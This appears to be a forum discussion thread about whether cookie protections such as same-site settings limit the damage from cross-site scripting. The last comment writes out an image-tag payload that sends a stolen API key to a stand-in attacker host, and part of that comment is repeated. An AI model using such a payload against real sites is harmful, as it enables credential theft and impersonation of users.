7 ms·
How does it protect the user? If there is a XSS vulnerability I can do anything in your name anyways. Stealing the cookie is not necessary.
by JanSt 5y ago
How does it protect the user? If there is a XSS vulnerability I can do anything in your name anyways. Stealing the cookie is not necessary.
- vbezhenar 5y agoYou can do anything until I close a page. Stealing cookie might allow you to continue after that.
- JanSt 5y agoI will have done anything I want to within one second of you logging in. There is no need for later attacks
- brabel 5y agoBut the window of opportunity is dramatically reduced if you can only launch your attack while the user is actively using the victim's site. It's the same reason OAuth uses expiring tokens. If you think that doesn't help and you're surely smarter than the whole security community who has been developing these standards for decades, please write a specification yourself and let us review it to see how great that is.
- jefftk 5y agoLet's say you compromise my social media account. You can immediately post as me, but that isn't so useful. You would probably prefer to have ongoing access to my account, so you can post as me at some future point when you have something you want to promote.
- EugeneOZ 5y agoBut you wrote “same-site” :) It will protect against XSS.
- sebazzz 5y agoIn the browser, yes. But when you steal an API key I can send it to an external server (<img src=https://eve.com/pixel.jpg?apikey=...">)and https://eve.com/pixel.jpg?apikey=...">)and exploit and impersonate the user without anyone knowing about it and without collaboration of the web browser.